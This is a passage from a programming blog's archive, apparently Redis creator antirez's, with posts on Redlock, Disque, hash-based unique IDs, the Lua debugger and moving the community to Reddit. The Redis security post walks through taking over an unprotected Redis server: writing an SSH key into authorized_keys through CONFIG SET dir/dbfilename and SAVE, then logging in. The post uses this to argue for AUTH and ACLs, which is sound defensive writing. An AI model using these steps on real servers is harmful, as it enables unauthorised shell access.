delays, so the steps to check the time before/after the lock is acquired, to see how much time is left, should actually be common practice even when using other systems implementing locks with an expiry. Fsync or not? ------------- At some point Martin talks about the fact that Redlock uses delayed restarts of nodes. This requires, again, the ability to be able to wait more or less a specified amount of time, as covered above. Useless to repeat the same things again. However what is important about this is that, this step is optional. You could configure each Redis node to fsync at every operation, so that when the client receives the reply, it knows the lock was already persisted on disk. This is how most other systems providing strong guarantees work. The very interesting thing about Redlock is that you can opt-out any disk involvement at all by implementing delayed restarts. This means it’s possible to process hundreds of thousands locks per second with a few Redis instances, which is something impossible to obtain with other systems. GPS units versus the local computer clock ----------------------------------------- Returning to the system model, one thing that makes Redlock system model practical is that you can assume a process to never be partitioned with the system clock. Note that this is different compared to other semi synchronous models where GPS units are used, because there are two non obvious partitions that may happen in this case: 1. The GPS is partitioned away from the GPS network, so it can’t acquire a fix. 2. The process and the GPS are not able to exchange messages or there are delays in the messages exchanged. The above problems may result into a liveness or safety violation depending on how the system is orchestrated (safety issues only happen if there is a design error, for example if the GPS updates the system time asynchronously so that, when the GPS does not work, the absolute time error may go over the maximum bound). The Redlock system model does not have these complexities nor requires additional hardware, just the computer clock, and even a very cheap clock with all the obvious biases due to the crystal temperature and other things influencing the precision. Conclusions ----------- I think Martin has a point about the monotonic API, Redis and Redlock implementations should use it to avoid issues due to the system clock being altered. However I can’t identify other points of the analysis affecting Redlock safety, as explained above, nor do I find his final conclusions that people should not use Redlock when the mutual exclusion guarantee is needed, justified. It would be great to both receive more feedbacks from experts and to test the algorithm with Jepsen, or similar tools, to accumulate more data. A big thank you to the friends of mine that helped me to review this post. Comments

• Disque 1.0 RC1 is out!
  Jan 02, 2016

  Today I’m happy to announce that the first release candidate for Disque 1.0 is available. If you don't know what Disque is, the best starting point is to read the README in the Github project page at http://github.com/antirez/disque. Disque is a just piece of software, so it has a material value which can be zero or more, depending on its ability to make useful things for people using it. But for me there is an huge value that goes over what Disque, materially, is. It is the value of designing and doing something you care about. It’s the magic of programming: where there was nothing, now there is something that works, that other people may potentially analyze, run, use. Distributed systems are a beautiful field. Thanks to Redis, and to the people that tried to mentor me in a way or the other, I got exposed to distributed systems. I wanted to translate this love to something tangible. A new, small system, designed from scratch, without prejudices and without looking too closely to what other similar systems were doing. The experience with Redis shown me that message brokers were a very interesting topic, and that in some way, they are the perfect topic to apply DS concepts. I even pretend message brokers can be fun and exciting. So I tried to design a new message queue, and Disque is the result. Disque design goal is to provide a system with a good user experience: to provide certain guarantees in the context of messaging, guarantees which are easy to reason about, and to provide extreme operational simplicity. The RC1 offers the foundation, but there is more work to do. For once I hope that Disque will be tested by Aphyr with Jepsen in depth. Since Disque is a system that provides certain kinds of guarantees that can be tested, if it fails certain tests, this translates directly to some bug to fix, that means to end with a better system. On the operational side there is to test it in the real world. AP and message queues IMHO are a perfect match to provide operational robustness. However I’m not living into the illusion that I got everything right in the first release, so it will take months (or years?) of iteration to *really* reach the operational simplicity I’m targeting. Moreover this is an RC1 that was heavily modified in the latest weeks, I expect it to have a non trivial amount of bugs. From the point of view of making a fun and exciting system, I tried to end with a simple and small API that does not force the user to think at the details of *this specific* implementation, but more generally at the messaging problem she or he got. Disque also has a set of introspection capabilities that should help making it a non-opaque system that is actually possible to debug and observe. Even with all the limits of new code and ideas, the RC release is a great first step, and I’m glad Disque is not in the list of side projects that we programmers start and never complete. I was not alone during the past months, while hacking with Disque and trying to figure out how to shape it, I received the help of: He Sun, Damian Janowski, Josiah Carlson, Michel Martens, Jacques Chester, Kyle Kingsbury, Mark Paluch, Philipp Krenn, Justin Case, Nathan Fritz, Marcos Nils, Jasper Louis Andersen, Vojtech Vitek, Renato C., Sebastian Waisbrot, Redis Labs and Pivotal, and probably more people I’m not remembering right now. Thank you for your help. The RC1 is tagged in the Disque Github repository. Have fun! Comments

• Generating unique IDs: an easy and reliable way
  Nov 21, 2015

  Two days ago Mike Malone published an interesting post on Medium about the V8 implementation of Math.random(), and how weak is the quality of the PRNG used: http://bit.ly/1SPDraN. The post was one of the top news on Hacker News today. It’s pretty clear and informative from the point of view of how Math.random() is broken and how should be fixed, so I’ve nothing to add to the matter itself. But since the author discovered the weakness of the PRNG in the context of generating large probably-non-colliding IDs, I want to share with you an alternative that I used multiple times in the past, which is fast and extremely reliable. The problem of unique IDs - - - So, in theory, if you want to generate unique IDs you need to store some state that makes sure an ID is never repeated. In the trivial case you may use just a simple counter. However the previous ID generated must be stored in a consistent way. In case of restart of the system, it should never happen that the same ID is generated again because our stored counter was not correctly persisted on disk. If we want to generate unique IDs using multiple processes, each process needs to make sure to prepend its IDs with some process-specific prefix that will never collide with another process prefix. This can be complex to manage as well. The simple fact of having to store in a reliable way the old ID is very time consuming when we want to generate an high number of IDs per second. Fortunately there is a simple solution. Generate a random number in a range between 0 and N, with N so big that the probability of collisions is so small to be, for every practical application, irrelevant. This works if the number we generate is uniformly distributed between 0 and N. If this prerequisite is true we can use the birthday paradox in order to calculate the probability of collisions. By using enough bits it’s trivial to make the probability of a collision billions of times less likely than an asteroid centering the Earth, even if we generate millions of IDs per second for hundreds of years. If this is not enough margin for you, just add more bits, you can easily reach an ID space larger than the number of atoms in the universe. This generation method has a great advantage: it is completely stateless. Multiple nodes can generate IDs at the same time without exchanging messages. Moreover there is nothing to store on disk so we can go as fast as our CPU can go. The computation will easily fit the CPU cache. So it’s terribly fast and convenient. Mike Malone was using this idea, by using the PRNG in order to create an ID composed of a set of characters, where each character was one of 64 possible characters. In order to create each character the weak V8 PRNG was used, resulting into collisions. Remember that our initial assumption is that each new ID must be selected uniformly in the space between 0 and N. You can fix this problem by using a stronger PRNG, but this requires an analysis of the PRNG. Another problem is seeding, how do you start the process again after a restart in order to make sure you don’t pick the initial state of the PRNG again? Otherwise your real ID space is limited by the seeding of the PRNG, not the output space itself. For all the above reasons I want to show you a trivial technique that avoids most of these problems. Using a crypto hash function to generate unique IDs - - - Cryptographic hash functions are non invertible functions that transform a sequence of bits into a fixed sequence of bits. They are designed in order to resist a variety of attacks, however in this application we only rely on a given characteristic they have: uniformity of output. Changing a bit in the input of the hash function will result in each bit of the output to change with a 50% probability. In order to have a reliable seed, we use some help from the operating system, by querying /dev/urandom. Seeding the generator is a moment where we really want some external entropy, otherwise we really risk of doing some huge mistake and generating the same sequence again. As an example of crypto hash function we'll use the well known SHA1, that has an output of 160 bits. Note that you could use even MD5 sum for this application: the vulnerabilities it has have no impact in our usage here. We start creating a seed, by reading 160 bits from /dev/urandom. In pseudocode it will be something like: seed = devurandom.read(160/8) We also initialize a counter: counter = 0 Now this is the function that will generate every new ID: function get_new_id() myid = SHA1(string(counter) + seed) counter = counter + 1 return myid end Basically we have a fixed string, which is our seed, and we hash it with a progressive counter, so if our seed is “foo”, we output new IDs as: SHA1(“0foo”) SHA1(“1foo”) SHA1(“2foo”) This is already good for our use case. However we may also need that our IDs are not easy to predict. In order to make the IDs very hard to predict instead of using SHA1 in the get_new_id() function, just use SHA1_HMAC() instead, where the seed is the secret, and the counter the message of the HMAC. This method is fast, has guaranteed good distribution, so collisions will be as hard as predicted by the birthday paradox, there is no analysis needed on the PRNG, and is completely stateless. I use it on my Disque project in order to generate message IDs among multiple nodes in a distributed system. Hacker News thread here: https://news.ycombinator.com/item?id=10606910 Comments

• 6 years of commit visualized
  Nov 20, 2015

  Today I was curious about plotting all the Redis commits we have on Git, which are 90% of all the Redis commits. There was just an initial period where I used SVN but switched very soon. Full size image here: http://antirez.com/misc/commitsvis.png !~! Each commit is a rectangle. The height is the number of affected lines (a logarithmic scale is used). The gray labels show release tags. There are little surprises since the amount of commit remained pretty much the same over the time, however now that we no longer backport features back into 3.0 and future releases, the rate at which new patchlevel versions are released diminished. Major releases look more or less evenly spaced between 2.6, 2.8 and 3.0, but were more frequent initially, something that should change soon as we are trying to switch to time-driven releases with 3 new major release each year (that obviously will contain less new things compared to the amount of stuff was present in major releases that took one whole year). For example 3.2 RC is due for December 2015. Patch releases of a given major release tend to have a logarithmic curve shape. As a release mature, in general it gets less critical bugs. Also attention shifts progressively to the new release. I would love Github to give us stuff like that and much more. There is a lot of data in commits of a project that is there for years. This data should be analyzed and explored... it's a shame that the graphics section is apparently the same thing for years. EDIT: The Tcl script used to generate this graph is here: https://github.com/antirez/redis/tree/unstable/utils/graphs/commits-over-time Comments

• Recent improvements to Redis Lua scripting
  Nov 19, 2015

  Lua scripting is probably the most successful Redis feature, among the ones introduced when Redis was already pretty popular: no surprise that a few of the things users really want are about scripting. The following two features were suggested multiple times over the last two years, and many people tried to focus my attention into one or the other during the Redis developers meeting, a few weeks ago. 1. A proper debugger for Redis Lua scripts. 2. Replication, and storage on the AOF, of Lua scripts as a set of write commands materializing the *effects* of the script, instead of replicating the script itself as we normally do. The second feature is not just a matter of how scripts are replicated, but also touches what you can do with Lua scripting as we will see later. Back from London, I implemented both the features. This blog post describes both, giving a few hints about the design and implementation aspects that may be interesting for the readers. A proper Lua debugger --- Lua scripting was initially conceived in order to write really trivial scripts. Things like: if the key exists do this. A couple of lines in order to avoid bloating Redis with all the possible variations of commands. Of course users did a lot more with it, and started to write complex scripts: from quad-tree implementations to full featured messaging systems with non trivial semantics. Lua scripting makes Redis programmable, and usually programmers can’t resist to programmable things. It helps that all the Lua scripts run using the same interpreter and are cached, so they are very fast. It is most of the time possible to do a lot more with a Redis instance by using Lua scripting, both functionally and in terms of operations per second. So complex scripts totally have their place today. We went from a very cold reception of the scripting feature (something as dynamic as a script sent to a database!), to mass usage, to writing complex scripts in a matter of a few years. However writing simple scripts and writing complex scripts is a completely different matter. Bigger programs become exponentially more complex, and you can feel this even when going from 10 to 200 lines of code. While you can debug by brute force any simple script, just trying a few variants and observing the effects on the data set, or putting a few logging instructions in the middle, with complex scripts you have a bad time without a debugger. My colleague Itamar Haber used a lot of his time to write complex scripts recently. At some point he also wrote some kind of debugger for Redis Lua scripting using the Lua debug library. This debugger no longer works since the debug library is now no longer exposed to scripts, for sandboxing concerns, and in general, what you want in a Redis debugger is an interactive and remote debugger, with a proper client able to work alongside with the server, to provide a good debugging experience. Debugging is already a lot of hard work, to have solid tools is really a must. The only way to accomplish this result, was to add proper debugging support inside Redis itself. So back from London Itamar and I started to talk about what a debugger should export to the user in order to be kinda of useful, and a real upgrade compared to the past. It was also discussed to just add support for the Lua debuggers that already exist outside the Redis ecosystem. However I strongly believe the user experience is enhanced when everything is designed specifically to work well with Redis, so in the end I decided to wrote the debugger from scratch. A few things were sure: we needed a remote debugger where you could attach to Redis, start a debugging session, have good observability of what the script was doing with the Redis dataset. A special concern of mine was to have colorized output, of course ;-) I wanted to make debugging a fun experience, and to have a very fast learning curve, which are related. Now to show how a debugger work, by writing a blog post about it, is surely possible but, even a purist like me writing articles in courier, will resort to a video from time to time. So here is longish video showing the main features of the Redis debugger. I start talking like a bit depressed since this was early in the morning, but after a few minutes coffee fires in and you’ll se me more happy. (Hint: watch the video in full screen to have acceptable font size for the interactive session. Video is high quality enough to make them readable) !~! If you are not into playing videos, a short recap of what you can do with the Lua debugger is provided by the debugger help screen itself: $ ./redis-cli --ldb --eval /tmp/script.lua Lua debugging session started, please use: quit -- End the session. restart -- Restart the script in debug mode again. help -- Show Lua script debugging commands. * Stopped at 1, stop reason = step over -> 1 local src = KEYS[1] lua debugger> help Redis Lua debugger help: [h]elp Show this help. [s]tep Run current line and stop again. [n]ext Alias for step. [c]continue Run till next breakpoint. [l]list List source code around current line. [l]list [line] List source code around [line]. line = 0 means: current position. [l]list [line] [ctx] In this form [ctx] specifies how many lines to show before/after [line]. [w]hole List all source code. Alias for 'list 1 1000000'. [p]rint Show all the local variables. [p]rint Show the value of the specified variable. Can also show global vars KEYS and ARGV. [b]reak Show all breakpoints. [b]reak Add a breakpoint to the specified line. [b]reak - Remove breakpoint from the specified line. [b]reak 0 Remove all breakpoints. [t]race Show a backtrace. [e]eval Execute some Lua code (in a different callframe). [r]edis Execute a Redis command. [m]axlen [len] Trim logged Redis replies and Lua var dumps to len. Specifying zero as means unlimited. [a]abort Stop the execution of the script. In sync mode dataset changes will be retained. Debugger functions you can call from Lua scripts: redis.debug() Produce logs in the debugger console. redis.breakpoint() Stop execution like if there was a breakpoing. in the next line of code. lua debugger> How it works? --- The whole debugger is pretty much a self contained block of code, and consists of 1300 lines of code, mostly inside scripting.c, but a few inside redis-cli.c, in order to implement the CLI special mode acting as a client for the debugger. As already said this is a server-client remote debugger. The Lua C API has a debugging interface that’s pretty useful. Is not a debugger per-se, but offers the primitives you need in order to write a debugger. However writing a debugger in the context of Redis was a bit less trivial that writing a Lua stand-alone debugger. In order to debug the script you have callbacks executed while the script is running. But when Redis is running a script, we are in the context of EVAL, executing a client command. How to do I/O there if we are blocked? Also what happens to the Redis server? Even if debugging must be performed in a development server and not into a production server, to completely hang the instance may not be a good idea. Maybe other developers want to use the instance, or the single developer that is debugging the script wants to create a new parallel debugging session. And finally, what about rolling back the changes so that the same script can be tested again and again with the same Redis data set, regardless of the changes it does while we are debugging? Determinism is gold in the context of debugging. So I needed a complex implementation, apparently. Or I needed to cheat big time, and find a strange solution to the problem involving a lot less code and complexity, but giving 90% of the benefits I was looking for. This odd solution turned out to be the following: * When a debugging session starts, fork() Redis. * Capture the client file descriptor, and do direct, blocking I/O while the debugging session is active. * Use the Redis protocol, but a trivial subset that can be implemented in a couple of lines of code, so that we don’t re-enter the Redis event loop at all. The I/O is part of the debugger. After 400 lines of code I had all the basic working, so the rest was just a matter of adding features and fixing bugs and corner cases. This gives us everything we needed: the server is not blocked since each debugging session is a separated process. We don’t need to re-enter the event loop from within the middle of an EVAL call, and we have rollback for free. However, there is also a synchronous mode available, that blocks the server, in the case you really need to debug something while preserving the changes to the dataset. I’ve the feeling this will not be used much at all but to add this mode was a matter of not forking and handling the cleanup of the client at the end, so I added this mode as well. On top of that it was possible to add everything else using a Lua “line” hook in order to implement stepping and breakpoints. Since the debugger is integrated inside Redis itself, it was trivial to capture all the Redis calls to show the user what was happening. The I/O model is also trivial, we just read input from the user and output appending to a buffer. Every time the debugger stops at some point, the output is flushed to the client as an array of “status replies”. The prefix of each line hints redis-cli about the colorization to provide. Because of this design, the debugger was working after 2 days and was complete after 4 days of work. Moreover this design allowed me to write completely self contained code, so the debugger interacts almost zero with the rest of Redis. This will make possible to release it with Redis 3.2 in December. A simple way to make the debugger much more powerful almost for free was to add two new Redis Lua calls: redis.breakpoint() and redis.debug(), that respectively can simulate a breakpoint inside the debugger (to the next line to be executed), or log Lua objects in the debugger console. This way you can add breakpoints that only fire when something interesting happens: if some_odd_condition then redis.breakpoint() end This effectively replaces a lot of complex features you may add into a debugger. However we also have all the normal features directly inside the debugger, like static breakpoints, the ability to observe the state, and so forth. I’m very interested in what users writing complex scripts will think about it! We’ll see. Script effects replication --- Before understanding why replicating just the *effects* of a script is interesting, it’s better to understand why instead by default replicating the script itself, to be re-executed by slaves, was considered the best option and is anyway the default. The central matter is: bandwidth between the master and the salve, and in general the ability of the slave to “follow” the master (keep in sync without too much delay) and don’t lag behind. Think at this small Redis Lua script: local i; for i=0,1000000 do redis.call(“lpush”,KEYS[1],ARGV[1]) end It appends 1 million elements to the specified list and runs in 0.75 seconds in my testing environment. It’s just a few bytes, and runs inside the server, so replicating this script as script, and not as the 1 million commands resulting from the script execution, makes a lot of sense. There are scripts which are exactly the opposite. At the other side of the spectrum there is a script that calculates the average of 1 million integer elements stored into a list, and stores the result setting some key with SET. The effect of the script could be just: SET somekey 94.29 But the actual execution is maybe 2 seconds of computation. Replicating this script as the resulting command is much better. However there is a difference between replicating scripts and replicating effects: both are optimal or suboptimal depending on the use case, but replicating scripts always work, even when it’s inefficient. It never creates a situation where the replication link has to transfer huge amount of data, nor it creates a situation where the slave has to do a lot more work than the master. This is why so far Redis always used to replicate scripts verbatim. However the most interesting part perhaps is that’s not just a matter of efficiency. When replicating scripts we need that each script is a *pure function*. Scripts executed with the same initial dataset, must produce always the same result. This requirement, prevents users from writing scripts using, for example, the TIME command, or SRANDMEMBER. Redis detects this dangerous condition and stops the script as soon as the first write command is going to be called. Yet there are many use cases for scripts using the current time, random numbers or random elements. Replicating the effects of the script also overcomes this limitation. So finally, and thanks to refactoring performed inside Redis in the previous months, it was possible to implement opt-in support for scripts effects replication. It is as trivial as calling, at the start of the script, the following command: redis.replicate_commands() … do something with the script … The script will be replicated only as a set of write commands. Actually there is no need to call replicate_commands() as the first command. It is enough to call it before any write, so the Lua script may even check the work to do and select the right replication model. If writes were already performed when replicate_commands() is called, it just returns false, and the normal whole script replication will be used, so the command will never prevent the script from running, even when misused. However we did not resisted to the temptation of doing more advanced and possibly dangerous things. I designed this feature with my colleague Yossi Gottleib from Redis Labs, and he had a very compelling use case for a dangerous feature allowing the exclusion of selected commands from the replication stream. The idea is that your script may do something like that: 1) Call certain commands that write temporary values. Think at intersections between sets just to have a mental model. 2) Perform some aggregation. 3) Store a small result as the effect of the script. 4) Discard the temporary values. There are a few legitimate use cases for the above pattern, and guess what, you don’t want to replicate the temporary writes to your AOF and slaves. You want replicate just step “3”. So in the end we decided that, when script effects replication is enabled, it is possible for the brave user, to select what replicate and what not, by using the following API: redis.set_repl(redis.REPL_ALL); -- The default redis.set_repl(redis.REPL_NONE); -- No replication at all redis.set_repl(redis.REPL_AOF); -- Just AOF replication redis.set_repl(redis.REPL_SLAVE); -- Just slaves replication There is a lot of room for misuse, but non expert users are very unlikely to touch this feature at all, and it can benefit who knows what to do with powerful tools. ETA --- Both features will be available into Redis 3.2, that will be out as an RC in mid December 2015. Redis 3.2 is going to have many interesting new features at API level, exposed to users. A big part of the user base asked for this, after a period where we focused more into operations and internals maturity. Feel free to ask questions in the comments if you want to know more or have any doubt. Hacker News thread is here: https://news.ycombinator.com/item?id=10594236 Comments

• A few things about Redis security
  Nov 03, 2015

  IMPORTANT EDIT: Redis 3.2 security improved by implementing protected mode. You can find the details about it here: https://www.reddit.com/r/redis/comments/3zv85m/new_security_feature_redis_protected_mode/ From time to time I get security reports about Redis. It’s good to get reports, but it’s odd that what I get is usually about things like Lua sandbox escaping, insecure temporary file creation, and similar issues, in a software which is designed (as we explain in our security page here http://redis.io/topics/security) to be totally insecure if exposed to the outside world. Yet these bug reports are often useful since there are different levels of security concerning any software in general and Redis specifically. What you can do if you have access to the database, just modify the content of the database itself or compromise the local system where Redis is running? How important is a given security layer in a system depends on its security model. Is a system designed to have untrusted users accessing it, like a web server for example? There are different levels of authorization for different kinds of users? The Redis security model is: “it’s totally insecure to let untrusted clients access the system, please protect it from the outside world yourself”. The reason is that, basically, 99.99% of the Redis use cases are inside a sandboxed environment. Security is complex. Adding security features adds complexity. Complexity for 0.01% of use cases is not great, but it is a matter of design philosophy, so you may disagree of course. The problem is that, whatever we state in our security page, there are a lot of Redis instances exposed to the internet unintentionally. Not because the use case requires outside clients to access Redis, but because nobody bothered to protect a given Redis instance from outside accesses via fire walling, enabling AUTH, binding it to 127.0.0.1 if only local clients are accessing it, and so forth. Let’s crack Redis for fun and no profit at all given I’m the developer of this thing === In order to show the Redis “security model” in a cruel way, I did a quick 5 minutes experiment. In our security page we hint at big issues if Redis is exposed. You can read: “However, the ability to control the server configuration using the CONFIG command makes the client able to change the working directory of the program and the name of the dump file. This allows clients to write RDB Redis files at random paths, that is a security issue that may easily lead to the ability to run untrusted code as the same user as Redis is running”. So my experiment was the following: I’ll run a Redis instance in my Macbook Air, without touching the computer configuration compared to what I’ve currently. Now from another host, my goal is to compromise my laptop. So, to start let’s check if I can access the instance, which is a prerequisite: $ telnet 192.168.1.11 6379 Trying 192.168.1.11... Connected to 192.168.1.11. Escape character is '^]'. echo "Hey no AUTH required!" $21 Hey no AUTH required! quit +OK Connection closed by foreign host. Works, and no AUTH required. Redis is unprotected without a password set up, and so forth. The simplest thing you can do in such a case, is to write random files. Guess what? my Macbook Air happens to run an SSH server. What about trying to write something into ~/ssh/authorized_keys in order to gain access? Let’s start generating a new SSH key: $ ssh-keygen -t rsa -C "crack@redis.io" Generating public/private rsa key pair. Enter file in which to save the key (/home/antirez/.ssh/id_rsa): ./id_rsa Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in ./id_rsa. Your public key has been saved in ./id_rsa.pub. The key fingerprint is: f0:a1:52:e9:0d:5f:e4:d9:35:33:73:43:b4:c8:b9:27 crack@redis.io The key's randomart image is: +--[ RSA 2048]----+ | . O+.| | . o o..o*o| | = . + .+ . | | o B o . | | . o S E . | | . o | | | | | | | +-----------------+ Now I’ve a key. My goal is to put it into the Redis server memory, and later to transfer it into a file, in a way that the resulting authorized_keys file is still a valid one. Using the RDB format to do this has the problem that the output will be binary and may in theory also compress strings. But well, maybe this is not a problem. To start let’s pad the public SSH key I generated with newlines before and after the content: $ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt Now foo.txt is just our public key but with newlines. We can write this string inside the memory of Redis using redis-cli: ~~~~~~~~~~~~~~~~~~~ NOTE: The following steps were altered in trivial ways to avoid that script kiddies cut & paste the attack, because from the moment this attack was published several Redis instances were compromised around the globe. ~~~~~~~~~~~~~~~~~~~ $ redis-cli -h 192.168.1.11 192.168.1.11:6379> config set dbfilename "backup.rdb" OK 192.168.1.11:6379> save OK (Ctrl+C) $ redis-cli -h 192.168.1.11 echo flushall $ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit Looks good. How to dump our memory content into the authorized_keys file? That’s kinda trivial. $ redis-cli -h 192.168.1.11 192.168.1.11:6379> config set dir /Users/antirez/.ssh/ OK 192.168.1.11:6379> config get dir 1) "dir" 2) "/Users/antirez/.ssh" 192.168.1.11:6379> config set dbfilename "authorized.keys" OK 192.168.1.11:6379> save OK At this point the target authorized keys file should be full of garbage, but should also include our public key. The string does not have simple patterns so it’s unlikely that it was compressed inside the RDB file. Will ssh be so naive to parse a totally corrupted file without issues, and accept the only sane entry inside? $ ssh -i id_rsa antirez@192.168.1.11 Enter passphrase for key 'id_rsa': Last login: Mon Nov 2 15:58:43 2015 from 192.168.1.10 ~ ➤ hostname Salvatores-MacBook-Air.local Yes. I successfully gained access as the Redis user, with a proper shell, in like five seconds. Courtesy of a Redis instance unprotected being, basically, an on-demand-write-this-file server, and in this case, by ssh not being conservative enough to deny access to a file which is all composed of corrupted keys but for one single entry. However ssh is not the problem here, once you can write files, even with binary garbage inside, it’s a matter of time and you’ll gain access to the system in one way or the other. How to fix this crap? === We say Redis is insecure if exposed, and the security model of Redis is to be accessed only by authorized and trusted clients. But this is unfortunately not enough. Users will still run it unprotected, and even worse, there is a tension between making Redis more secure *against* deployment errors, and making Redis easy to use for people just using it for development or inside secure environments where limits are not needed. Let’s make an example. Newer versions of Redis ship with the example redis.conf defaulting to “bind 127.0.0.1”. If you run the server without arguments, it will still bind all interfaces, since I don’t want to annoy users which are likely running Redis for development. To have to reconfigure an example server just to allow connections from other hosts is kinda a big price to pay, to win just a little bit of security for people that don’t care. However the example redis.conf that many users use as a template for their configuration, defaults to binding the localhost interface. Hopefully less deployments errors will be made. However this measures are not very effective, because unfortunately what most security unaware users will do after realizing that binding 127.0.0.1 is preventing them from connecting clients from the outside, is to just drop the bind line and restart. And we are back to the insecure configuration. Basically the problem is finding a compromise between the following three things: 1. Making Redis accessible without annoyances for people that know what they do. 2. Making Redis less insecure for people that don’t know what they do. 3. My bias towards “1” instead of “2” because RTFM. Users ACLs to mitigate the problem === One way to add redundancy to the “isolation” concept of Redis from the outside world is to use the AUTH command. It’s very simple, you configure Redis in order to require a password, and clients authenticate via the AUTH command by using the configured password. The mechanism is trivial: passwords are not hashed, and are stated in cleartext inside the configuration file and inside the application, so it’s like a shared secret. While this is not resistant against people sniffing your TCP connections or compromising your application servers, it’s an effective layer of security against the obvious mistake of leaving unprotected Redis instances on the internet. A few notes about AUTH: 1. You can use Redis as an oracle in order to test many passwords per second, but the password does not need to be stored inside a human memory, just inside the Redis config file and client configurations, so pick a very large one, and make it impossible to brute force. 2. AUTH is sent when the connection is created, and most sane applications have persistent connections, so it is a very small cost to pay. It’s also an extremely fast command to execute, like GET or SET, disk is not touched nor other external system. 3. It’s a good layer of protection even for well sandboxed environments. For an error an instance may end exposed, if not to the internet, at least to clients that should not be able to talk with it. Maybe evolving AUTH is the right path in order to gain more security, so some time ago I published a proposal to add “real users” in Redis: https://github.com/redis/redis-rcp/blob/master/RCP1.md This proposal basically adds users with ACLs. It’s very similar to AUTH in the way it works and in the speed of execution, but different users have different capabilities. For example normal users are not able to access administrative commands by default, so no “CONFIG SET dir” for them, and no issues like the exploit above. The default user can yet run the normal commands (so the patches people sent me about Lua sandboxing, that I applied, are very useful indeed), and an admin user must be configured in order to use administration commands. However what we could do to make Redis more user friendly is to always have an “admin” user with empty password which is accepted if the connection comes from the loopback interface (but it should be possible to disable this feature). ACLs, while not perfect, have certain advantages. When Redis is exposed to the internet in the proper way, proxied via SSL, to have an additional layer of access control is very useful. Even when no SSL is used since we have just local clients, to protect with more fine grained control what clients can do has several advantages. For instance it can protect against programming or administration errors: FLUSHALL and FLUSHDB could be not allowed to normal users, the client for a Redis monitoring service would use an user only allowing a few selected commands, and so forth. Users that don’t care about protecting their instances will stil have a database which is accessible from the outside, but without admin commands available, which still makes things insecure from the point of view of the data contained inside the database, but more secure from the point of view of the system running the Redis instance. Basically it is impossible to reach the goal of making Redis user friendly by default and resistant against big security mistakes of users spinning an instance bound to a public IP address. However fixing bugs in the API that may allow to execute untrusted code with the same privileges of the Redis process, shipping a more conservative default configuration, and implementing multiple users with ACLs, could improve the current state of Redis security without impacting much the experience of normal Redis users that know what they are doing. Moreover ACLs have the advantage of allowing application developers to create users that match the actual limits of specific clients in the context of the application logic, making mistakes less likely to create big issues. A drawback of even this simple layer of security is that it adds complexity, especially in the context of replication, Redis Sentinel, and other systems that must all be authentication aware in order to work well in this new context. However it’s probably an effort that must be incrementally done. Hacker News: https://news.ycombinator.com/item?id=10537852 Reddit: https://www.reddit.com/r/redis/comments/3rby8c/a_few_things_about_redis_security/ Comments

• Moving the Redis community on Reddit
  Oct 22, 2015

  I’m just back from the Redis Dev meeting 2015. We spent two incredible days talking about Redis internals in many different ways. However while I’m waiting to receive private notes from other attenders, in order to summarize in a blog post what happened and what were the most important ideas exposed during the meetings, I’m going to touch a different topic here. I took the non trivial decision to move the Redis mailing list, consisting of 6700 members, to Reddit. This looks like a crazy ideas probably in some way, and “to move” is probably not the right verb, since the ML will still exist. However it will only be used in order to receive announcements of new releases, critical informations like security related ones, and from time to time, links to very important discussions that are happening on Reddit. Why to move? We have a huge mailing list that served us for years at this point, and there is a decent amount of traffic going on. People go there to get some help, to provide new ideas, and so forth. However while we have some traffic the Redis mailing list is IMHO far from the “vital” thing it should be, considering the number of users using Redis currently. For most parts we see the same questions again and again, and is hard to understand if a reply is really worthwhile or not. Moreover an important topic sometimes slides away because new topics arrive, sometimes without getting much attention at all. It’s like if the ML is just a far echo of the Redis popularity, not the center of its community. Twitter, while being a tool completely unsuitable for becoming the center of a community that needs to discuss things at length, is completely different, and gives me a feedback about how the Redis ML is in some way broken. It’s a lot more vital and it is possible to get quality feedbacks, but everything is limited to 140 characters in flat threads where eventually it is kinda impossible to continue any sane discussion. However Twitter and other signals I get, are the proof that people *moved away* from emails. I bet an huge amount of users subscribed to the ML just archive it into a label to read it never or seldom. So why Reddit instead? Because it’s the center of the most vital communities on the internet today. Because it’s centered on a voting system, so if an user asks for help, even if you don’t want to contribute, you can use the comment voting to tell the difference between a lame request and a great one, a poor reply and an outstanding one. Reddit also allows to vote the topics so that things which are important for the community will get more contributions. Has a side bar that can be used for FAQs and other important pointers, and has a ton of existing subscribers. Reddit also contains “gamification” elements that may be useful and funny. For example you can associate small sentences or images to your username in a given sub-reddit, in order to state, for example, if you use Redis for caching, as a store, for messaging or whatever. Your reply in a given context can be read more clearly if it is possible to understand what kind of Redis user you are. It is possible to write guidelines in the submission page, so that people realize what to provide before posting. For example we’ll have warnings telling you to post the INFO output of your master and slaves if you want us to investigate your replication issues. So, what happens now? I asked Reddit admins to get access to /r/redis, which is a sub created years ago but not actively administered apparently. When I receive the admin privileges I’ll setup the sub in order to only accent comment submissions (not direct links, you’ll be still able to post a link if you comment it). At this point the Redis ML will be modified in order to moderate each single message, we’ll advice people posting help questions to go on Reddit. The Redis.io community page will be updated to instruct new users about Reddit being our primary discussion forum. Why not using Discourse or Stack Overflow, you’ll ask? SO is great but is not suitable for general conversation, and we need this a lot. People will continue to post Redis questions on SO and we’ll continue to reply, of course. Discourse is more an evolution of the mailing list we are using, but is not technically speaking a “social site”, we want to go where communities are already and where voting things is the main idea, so that as the Redis community grow we find a way to filter the most interesting contribs and highlight them. Maybe the experiment will fail and we’ll return back to the mailing list, or we’ll try Discourse, but I think a too important change in the way programmers communicate is happening in order to ignore it. I must try. I think email lost in some way, it is no longer something scalable. For me it lost several years ago, I rarely reply to emails at all, since they are a tool that does not take into account people inability to scale reading too many messages. I hope we’ll have a great time on Reddit. See you there! P.s. if you are a Reddit admin reading this, please evaluate my request to take ownership of /r/redis here: https://www.reddit.com/r/redditrequest/comments/3pnwrx/requesting_rredis/ Comments

• Clarifications about Redis and Memcached
  Sep 26, 2015

